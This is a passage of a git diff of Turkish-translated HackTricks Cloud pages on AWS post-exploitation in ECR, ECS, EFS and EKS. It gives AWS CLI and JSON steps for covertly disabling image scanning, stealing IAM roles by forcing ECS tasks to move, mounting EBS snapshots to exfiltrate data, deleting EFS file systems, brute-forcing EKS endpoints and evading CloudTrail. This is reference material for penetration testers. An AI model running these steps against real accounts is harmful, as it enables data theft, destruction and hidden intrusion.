+aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true +``` +İsteğe bağlı: repo kapsamı düzeyinde daha fazla zayıflatma +```bash +# Disable scan-on-push for a specific repository +aws ecr put-image-scanning-configuration \ +--region "$REGION" \ +--repository-name "$repo" \ +--image-scanning-configuration scanOnPush=false +``` +Etkisi +- Kayıt defteri genelindeki yeni image push'ları otomatik olarak taranmaz; bu, zafiyetli veya kötü amaçlı içeriğin görünürlüğünü azaltır ve tespitin elle başlatılan bir taramaya kadar gecikmesine neden olur. + + +### Kayıt defteri genelinde tarama motorunun düşürülmesi `ecr:PutAccountSetting` aracılığıyla (AWS_NATIVE -> CLAIR) + +Tüm kayıt defteri genelinde BASIC tarama motorunu varsayılan AWS_NATIVE'den eski CLAIR motoruna geçirerek zafiyet tespiti kalitesini düşürün. Bu, taramaları devre dışı bırakmaz ancak bulgular/kapsam üzerinde önemli değişiklikler yapabilir. Taramaları yalnızca elle yapılır hale getirmek için kural içermeyen BASIC kayıt defteri tarama yapılandırması ile birleştirin. + +Gereksinimler +- `ecr:PutAccountSetting`, `ecr:GetAccountSetting` +- (İsteğe bağlı) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` + +Etkisi +- Kayıt ayarı `BASIC_SCAN_TYPE_VERSION` `CLAIR` olarak ayarlanır; böylece sonraki BASIC taramaları düşürülmüş motorla çalışır. CloudTrail, `PutAccountSetting` API çağrısını kaydeder. + +Adımlar +```bash +REGION=us-east-1 + +# 1) Read current value so you can restore it later +aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true + +# 2) Downgrade BASIC scan engine registry‑wide to CLAIR +aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR + +# 3) Verify the setting +aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION + +# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans) +aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true + +# 5) Restore to AWS_NATIVE when finished to avoid side effects +aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md deleted file mode 100644 index 3f7e0cf4f..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ /dev/null @@ -1,57 +0,0 @@ -# AWS - ECS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Host IAM Rolleri - -ECS'de bir **IAM rolü, konteyner içinde çalışan göreve atanabilir**. **Eğer** görev bir **EC2** örneği içinde çalışıyorsa, **EC2 örneği** üzerinde **başka bir IAM** rolü olacaktır.\ -Bu, bir ECS örneğini **ele geçirirseniz**, **ECR ve EC2 örneği ile ilişkili IAM rolünü elde etme** potansiyeline sahip olacağınız anlamına gelir. Bu kimlik bilgilerini nasıl alacağınız hakkında daha fazla bilgi için kontrol edin: - -{{#ref}} -https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html -{{#endref}} - -> [!CAUTION] -> EC2 örneği IMDSv2'yi zorunlu kılıyorsa, [**belgelere göre**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT isteğinin yanıtı** **1'lik bir hop limiti** olacaktır, bu da EC2 örneği içindeki bir konteynerden EC2 meta verilerine erişimi imkansız hale getirir. - -### Diğer konteynerlerin kimlik bilgilerini ve sırlarını çalmak için node'a yükselme - -Ayrıca, EC2, EC görevlerini çalıştırmak için docker kullanır, bu nedenle node'a kaçabilirseniz veya **docker soketine erişebilirseniz**, hangi **diğer konteynerlerin** çalıştığını **kontrol edebilir** ve hatta **içlerine girebilir** ve **bağlı IAM rollerini çalabilirsiniz**. - -#### Konteynerleri mevcut hostta çalıştırma - -Ayrıca, **EC2 örneği rolü** genellikle **kümeye** düğüm olarak kullanılan EC2 örneklerinin **konteyner örneği durumunu güncelleme** için yeterli **izinlere** sahip olacaktır. Bir saldırgan, bir örneğin **durumunu DRAINING** olarak değiştirebilir, ardından ECS **tüm görevleri ondan kaldırır** ve **REPLICA** olarak çalışanlar **farklı bir örnekte** çalıştırılır, bu da potansiyel olarak **saldırganın örneği içinde** olabilir, böylece **IAM rollerini çalabilir** ve konteynerin içinden potansiyel hassas bilgileri elde edebilir. -```bash -aws ecs update-container-instances-state \ ---cluster --status DRAINING --container-instances -``` -Aynı teknik **EC2 örneğini kümeden kaydını silerek** de yapılabilir. Bu muhtemelen daha az gizli olacaktır, ancak **görevlerin diğer örneklerde çalıştırılmasını zorlayacaktır:** -```bash -aws ecs deregister-container-instance \ ---cluster --container-instance --force -``` -Görevlerin yeniden yürütülmesini zorlamak için son bir teknik, ECS'ye **görev veya konteynerin durdurulduğunu** belirtmektir. Bunu yapmak için 3 potansiyel API vardır: -```bash -# Needs: ecs:SubmitTaskStateChange -aws ecs submit-task-state-change --cluster \ ---status STOPPED --reason "anything" --containers [...] - -# Needs: ecs:SubmitContainerStateChange -aws ecs submit-container-state-change ... - -# Needs: ecs:SubmitAttachmentStateChanges -aws ecs submit-attachment-state-changes ... -``` -### ECR konteynerlerinden hassas bilgileri çal - -EC2 örneği muhtemelen **görüntüleri indirmesine** izin veren `ecr:GetAuthorizationToken` iznine de sahip olacaktır (içlerinde hassas bilgiler arayabilirsiniz). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md new file mode 100644 index 000000000..b164dda2b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md @@ -0,0 +1,126 @@ +# AWS - ECS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Host IAM Rolleri + +ECS'de bir **IAM rolü göreve atanabilir** container içinde çalışan göreve. **If** görev bir **EC2** örneği içinde çalıştırılıyorsa, **EC2 instance** üzerinde başka bir **IAM** rolü bağlı olur.\ +Bu, eğer bir ECS örneğini **compromise** edebilirseniz potansiyel olarak **ECR ve EC2 örneğine bağlı IAM rolünü elde edebileceğiniz** anlamına gelir. Bu kimlik bilgilerini nasıl alacağınıza dair daha fazla bilgi için bakınız: + +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html +{{#endref}} + +> [!CAUTION] +> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **PUT isteğinin yanıtı** **hop limit of 1** olacak ve bu, EC2 örneği içindeki bir container'dan EC2 metadata'sına erişimi imkansız hale getirecektir. + +### Privesc to node to steal other containers creds & secrets + +Ayrıca, EC2, ECS görevlerini çalıştırmak için docker kullanır; bu yüzden node'a kaçabilirseniz veya **docker socket'e erişebilirseniz**, hangi **diğer containerların** çalıştırıldığını **kontrol edebilir**, hatta onların **içine girip** bağlı **IAM rollerini** **çalabilirsiniz**. + +#### Mevcut host üzerinde konteynerleri çalıştırma + +Dahası, **EC2 instance role** genellikle cluster içindeki node olarak kullanılan EC2 örneklerinin **container instance state'ini güncellemek** için yeterli **permissions**'a sahiptir. Bir saldırgan bir örneğin **state of an instance to DRAINING** olacak şekilde durumunu değiştirebilir; bu durumda ECS o örnekten **tüm görevleri kaldırır** ve **REPLICA** olarak çalıştırılan görevler **farklı bir instance'ta çalıştırılır,** potansiyel olarak saldırganın instance'ı içinde çalıştırılarak saldırganın **onların IAM rollerini** ve container içindeki olası hassas bilgileri **çalmasına** olanak tanır. +```bash +aws ecs update-container-instances-state \ +--cluster --status DRAINING --container-instances +``` +Aynı teknik **deregistering the EC2 instance from the cluster** ile yapılabilir. Bu potansiyel olarak daha az stealthy olabilir, ancak **force the tasks to be run in other instances:** +```bash +aws ecs deregister-container-instance \ +--cluster --container-instance --force +``` +Görevlerin yeniden çalıştırılmasını zorlamak için son bir teknik, ECS'ye **task or container was stopped** şeklinde bildirmektir. Bunu yapmak için 3 potansiyel API vardır: +```bash +# Needs: ecs:SubmitTaskStateChange +aws ecs submit-task-state-change --cluster \ +--status STOPPED --reason "anything" --containers [...] + +# Needs: ecs:SubmitContainerStateChange +aws ecs submit-container-state-change ... + +# Needs: ecs:SubmitAttachmentStateChanges +aws ecs submit-attachment-state-changes ... +``` +### ECR container'larından hassas bilgileri çal + +EC2 instance muhtemelen `ecr:GetAuthorizationToken` iznine de sahip olacaktır; bu izin **imajları indirmesine** olanak tanır (içlerinde hassas bilgi arayabilirsiniz). + +{{#include ../../../../banners/hacktricks-training.md}} + + + +### Bir EBS snapshot'ını doğrudan bir ECS task'ına mount etme (configuredAtLaunch + volumeConfigurations) + +Yerel ECS–EBS entegrasyonunu (2024+) suistimal ederek mevcut bir EBS snapshot'ının içeriğini yeni bir ECS task/service içine doğrudan mount edin ve container içinden verilerini okuyun. + +- Gereksinimler (minimum): +- ecs:RegisterTaskDefinition +- Bunlardan biri: ecs:RunTask OR ecs:CreateService/ecs:UpdateService +- iam:PassRole üzerinde: +- volume'lar için kullanılan ECS infrastructure role (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) +- Task definition tarafından referans verilen Task execution/Task rolleri +- Eğer snapshot bir CMK ile şifrelenmişse: infra rolü için KMS izinleri (yukarıdaki AWS managed policy, AWS managed anahtarlar için gerekli KMS yetkilerini içerir). + +- Etki: Snapshot'tan rastgele disk içeriklerini (ör. database dosyaları) container içinde okuyup ağ/loglar aracılığıyla exfiltrate edebilirsiniz. + +Adımlar (Fargate örneği): + +1) ECS altyapı rolünü oluşturun (yoksa) ve managed policy'yi ekleyin: +```bash +aws iam create-role --role-name ecsInfrastructureRole \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ecsInfrastructureRole \ +--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes +``` +2) `configuredAtLaunch` olarak işaretlenmiş bir volume ile bir task definition kaydedin ve bunu container içinde mount edin. Örnek (secret'i yazdırır sonra uyur): +```json +{ +"family": "ht-ebs-read", +"networkMode": "awsvpc", +"requiresCompatibilities": ["FARGATE"], +"cpu": "256", +"memory": "512", +"executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", +"containerDefinitions": [ +{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest", +"entryPoint":["/bin/sh","-c"], +"command":["cat /loot/secret.txt || true; sleep 3600"], +"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}}, +"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}] +} +], +"volumes": [ {"name":"loot", "configuredAtLaunch": true} ] +} +``` +3) EBS snapshot'ını `volumeConfigurations.managedEBSVolume` aracılığıyla geçirerek bir servis oluşturun veya güncelleyin (infra rolünde iam:PassRole gerektirir). Örnek: +```json +{ +"cluster": "ht-ecs-ebs", +"serviceName": "ht-ebs-svc", +"taskDefinition": "ht-ebs-read", +"desiredCount": 1, +"launchType": "FARGATE", +"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}}, +"volumeConfigurations": [ +{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam:::role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}} +] +} +``` +4) Görev başladığında, container yapılandırılmış mount yolunda (ör. `/loot`) snapshot içeriğini okuyabilir. Exfiltrate görevin ağı/günlükleri üzerinden. + +Temizleme: +```bash +aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0 +aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force +aws ecs deregister-task-definition ht-ebs-read +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md deleted file mode 100644 index 6a7d56063..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ /dev/null @@ -1,46 +0,0 @@ -# AWS - EFS Son Sömürü - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -### `elasticfilesystem:DeleteMountTarget` - -Bir saldırgan, bir montaj hedefini silebilir, bu da o montaj hedefine bağımlı olan uygulamalar ve kullanıcılar için EFS dosya sistemine erişimi kesintiye uğratabilir. -```sql -aws efs delete-mount-target --mount-target-id -``` -**Olası Etki**: Dosya sistemi erişiminin kesilmesi ve kullanıcılar veya uygulamalar için potansiyel veri kaybı. - -### `elasticfilesystem:DeleteFileSystem` - -Bir saldırgan, tüm EFS dosya sistemini silebilir, bu da veri kaybına yol açabilir ve dosya sistemine bağımlı uygulamaları etkileyebilir. -```perl -aws efs delete-file-system --file-system-id -``` -**Olası Etki**: Silinen dosya sistemini kullanan uygulamalar için veri kaybı ve hizmet kesintisi. - -### `elasticfilesystem:UpdateFileSystem` - -Bir saldırgan, EFS dosya sistemi özelliklerini, örneğin, verimlilik modunu güncelleyerek performansını etkileyebilir veya kaynak tükenmesine neden olabilir. -```sql -aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps -``` -**Olası Etki**: Dosya sistemi performansında düşüş veya kaynak tükenmesi. - -### `elasticfilesystem:CreateAccessPoint` ve `elasticfilesystem:DeleteAccessPoint` - -Bir saldırgan erişim noktaları oluşturabilir veya silebilir, erişim kontrolünü değiştirebilir ve potansiyel olarak dosya sistemine yetkisiz erişim sağlayabilir. -```arduino -aws efs create-access-point --file-system-id --posix-user --root-directory -aws efs delete-access-point --access-point-id -``` -**Potansiyel Etki**: Yetkisiz erişim, veri ifşası veya değişikliği. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md new file mode 100644 index 000000000..4aff9c31e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md @@ -0,0 +1,46 @@ +# AWS - EFS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +### `elasticfilesystem:DeleteMountTarget` + +Bir saldırgan bir mount target'ı silebilir; bu, o mount target'a güvenen uygulamalar ve kullanıcılar için EFS dosya sistemine erişimi potansiyel olarak kesintiye uğratır. +```sql +aws efs delete-mount-target --mount-target-id +``` +**Potential Impact**: Dosya sistemi erişiminin kesintiye uğraması ve kullanıcılar veya uygulamalar için olası veri kaybı. + +### `elasticfilesystem:DeleteFileSystem` + +Bir saldırgan tüm EFS dosya sistemini silebilir; bu, veri kaybına yol açabilir ve dosya sistemine bağımlı uygulamaları etkileyebilir. +```perl +aws efs delete-file-system --file-system-id +``` +**Olası Etki**: Silinen dosya sistemini kullanan uygulamalar için veri kaybı ve hizmet aksaması. + +### `elasticfilesystem:UpdateFileSystem` + +Bir saldırgan, performansını etkilemek veya kaynakların tükenmesine neden olmak için throughput modu gibi EFS dosya sistemi özelliklerini güncelleyebilir. +```sql +aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps +``` +**Olası Etki**: Dosya sistemi performansının düşmesi veya kaynak tükenmesi. + +### `elasticfilesystem:CreateAccessPoint` ve `elasticfilesystem:DeleteAccessPoint` + +Bir saldırgan erişim noktaları oluşturabilir veya silebilir; bu, erişim kontrolünü değiştirerek kendisine dosya sistemine yetkisiz erişim sağlayabilir. +```arduino +aws efs create-access-point --file-system-id --posix-user --root-directory +aws efs delete-access-point --access-point-id +``` +**Potansiyel Etki**: Dosya sistemine yetkisiz erişim, verilerin ifşa edilmesi veya değiştirilmesi. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md deleted file mode 100644 index 9ce1551e8..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ /dev/null @@ -1,143 +0,0 @@ -# AWS - EKS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## EKS - -Daha fazla bilgi için kontrol edin - -{{#ref}} -../aws-services/aws-eks-enum.md -{{#endref}} - -### AWS Konsolundan küme listeleme - -Eğer **`eks:AccessKubernetesApi`** iznine sahipseniz, AWS EKS konsolu aracılığıyla **Kubernetes nesnelerini** görüntüleyebilirsiniz ([Daha fazla bilgi edinin](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). - -### AWS Kubernetes Kümesine Bağlanma - -- Kolay yol: -```bash -# Generate kubeconfig -aws eks update-kubeconfig --name aws-eks-dev -``` -- O kadar kolay bir yol değil: - -Eğer **`aws eks get-token --name `** ile **bir token alabiliyorsanız** ama cluster bilgilerini (describeCluster) almak için izinleriniz yoksa, **kendi `~/.kube/config` dosyanızı hazırlayabilirsiniz**. Ancak, token'a sahip olsanız bile, **bağlanmak için url endpoint'e ihtiyacınız var** (eğer bir pod'dan JWT token aldıysanız [buradan](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) okuyun) ve **cluster'ın adına** ihtiyacınız var. - -Benim durumumda, CloudWatch loglarında bilgiyi bulamadım, ama **LaunchTemplates userData'da** ve **EC2 makinelerinde userData'da** buldum. Bu bilgiyi **userData** içinde kolayca görebilirsiniz, örneğin bir sonraki örnekte (cluster adı cluster-name idi): -```bash -API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com - -/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false -``` -
- -kube config -```yaml -describe-cache-parametersapiVersion: v1 -clusters: -- cluster: -certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== -server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com -name: arn:aws:eks:us-east-1::cluster/ -contexts: -- context: -cluster: arn:aws:eks:us-east-1::cluster/ -user: arn:aws:eks:us-east-1::cluster/ -name: arn:aws:eks:us-east-1::cluster/ -current-context: arn:aws:eks:us-east-1::cluster/ -kind: Config -preferences: {} -users: -- name: arn:aws:eks:us-east-1::cluster/ -user: -exec: -apiVersion: client.authentication.k8s.io/v1beta1 -args: -- --region -- us-west-2 -- --profile -- -- eks -- get-token -- --cluster-name -- -command: aws -env: null -interactiveMode: IfAvailable -provideClusterInfo: false -``` -
- -### AWS'den Kubernetes'e - -**EKS kümesinin** **yaratıcısı**, grubun **`system:masters`** (k8s admin) kısmına **HER ZAMAN** girebilecektir. Bu yazının yazıldığı sırada **küme kimin tarafından oluşturulduğunu** bulmanın **doğrudan bir yolu** yoktur (CloudTrail'i kontrol edebilirsiniz). Ve bu **yetkiyi** **kaldırmanın** **yolu yoktur**. - -**AWS IAM kullanıcıları veya rolleri için K8s'e erişim vermenin** yolu **`aws-auth`** **configmap'ini** kullanmaktır. - -> [!WARNING] -> Bu nedenle, **`aws-auth`** config map'ine **yazma erişimi** olan herkes **tüm kümeyi tehlikeye atabilecektir**. - -**Aynı veya farklı hesaplarda IAM rolleri ve kullanıcılara ek yetkiler vermek** ve bunu nasıl **istismar edeceğiniz** hakkında daha fazla bilgi için [**bu sayfayı kontrol edin**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). - -Ayrıca [**bu harika**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **yazıyı kontrol edin, IAM -> Kubernetes kimlik doğrulamasının nasıl çalıştığını öğrenin**. - -### Kubernetes'ten AWS'ye - -Kubernetes hizmet hesabı için **OpenID kimlik doğrulamasına** izin vermek, onların AWS'de roller üstlenmelerine olanak tanır. [**Bu sayfada nasıl çalıştığını öğrenin**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). - -### JWT Token'dan GET Api Sunucu Uç Noktası Alma - -JWT token'ını çözümleyerek küme kimliğini ve ayrıca bölgeyi alıyoruz. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS URL'sinin standart formatının olduğunu bilmek -```bash -https://...eks.amazonaws.com -``` -Herhangi bir 'iki karakter' ve 'sayı' kriterini açıklayan bir belge bulamadım. Ancak kendi adıma bazı testler yaparak şunların tekrar ettiğini görüyorum: - -- gr7 -- yl4 - -Her durumda, sadece 3 karakter var, bunları brute force ile kırabiliriz. Aşağıdaki scripti listeyi oluşturmak için kullanın. -```python -from itertools import product -from string import ascii_lowercase - -letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) -number_combinations = product('0123456789', repeat = 1) - -result = [ -f'{''.join(comb[0])}{comb[1][0]}' -for comb in product(letter_combinations, number_combinations) -] - -with open('out.txt', 'w') as f: -f.write('\n'.join(result)) -``` -Sonra wfuzz ile -```bash -wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com -``` -> [!WARNING] -> Unutmayın, & ile değiştirin. - -### CloudTrail'ı Atlatma - -Eğer bir saldırganın **EKS üzerinde yetkisi olan bir AWS** kimlik bilgilerini elde ederse. Eğer saldırgan, daha önce açıklandığı gibi **`update-kubeconfig`** çağrısı yapmadan kendi **`kubeconfig`** dosyasını yapılandırırsa, **`get-token`** Cloudtrail'de log oluşturmaz çünkü AWS API'si ile etkileşime girmez (sadece token'ı yerel olarak oluşturur). - -Bu nedenle, saldırgan EKS kümesi ile konuştuğunda, **cloudtrail, çalınan kullanıcı ile ilgili hiçbir şeyi kaydetmeyecek**. - -**EKS kümesinin bu erişimi kaydedecek logları etkinleştirilmiş olabilir** (ancak varsayılan olarak, devre dışıdır). - -### EKS Fidye? - -Varsayılan olarak, **bir küme oluşturan kullanıcı veya rol** her zaman küme üzerinde **yönetici ayrıcalıklarına sahip olacaktır**. Ve bu, AWS'nin Kubernetes kümesine sahip olacağı tek "güvenli" erişimdir. - -Yani, eğer bir **saldırgan fargate kullanarak bir kümeyi ele geçirirse** ve **diğer tüm yöneticileri kaldırırsa** ve **küme oluşturan AWS kullanıcı/rolünü silerse**, ~~saldırgan **küme için fidye talep edebilir**~~**. - -> [!TIP] -> Eğer küme **EC2 VM'leri** kullanıyorsa, **Node** üzerinden Yönetici ayrıcalıkları almak ve kümeyi kurtarmak mümkün olabilir. -> -> Aslında, eğer küme Fargate kullanıyorsa, EC2 düğümlerini alabilir veya her şeyi EC2'ye taşıyabilir ve düğümdeki token'lara erişerek kurtarabilirsiniz. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md new file mode 100644 index 000000000..4bdf2aa64 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md @@ -0,0 +1,143 @@ +# AWS - EKS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## EKS + +Daha fazla bilgi için bakınız + +{{#ref}} +../../aws-services/aws-eks-enum.md +{{#endref}} + +### AWS Console üzerinden kümeyi listeleme + +Eğer **`eks:AccessKubernetesApi`** iznine sahipseniz, AWS EKS console üzerinden **view Kubernetes objects** gerçekleştirebilirsiniz. ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). + +### AWS Kubernetes Cluster'a Bağlanma + +- Kolay yol: +```bash +# Generate kubeconfig +aws eks update-kubeconfig --name aws-eks-dev +``` +- O kadar kolay olmayan yol: + +Eğer **get a token**'ı **`aws eks get-token --name `** ile alabiliyorsanız ama cluster bilgilerini almak için (describeCluster) izniniz yoksa, kendi **`~/.kube/config`** dosyanızı hazırlayabilirsiniz. Ancak tokena sahip olsanız bile bağlanmak için hâlâ **url endpoint to connect to** (eğer bir poddan JWT token almayı başardıysanız [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token) okuyun) ve **name of the cluster**'a ihtiyacınız var. + +Benim durumumda bilgiyi CloudWatch loglarında bulamadım, fakat **found it in LaunchTemaplates userData** ve **in EC2 machines in userData also** içinde buldum. Bu bilgiyi **userData** içinde kolayca görebilirsiniz, örneğin aşağıdaki örnekte (cluster adı cluster-name idi): +```bash +API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com + +/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false +``` +
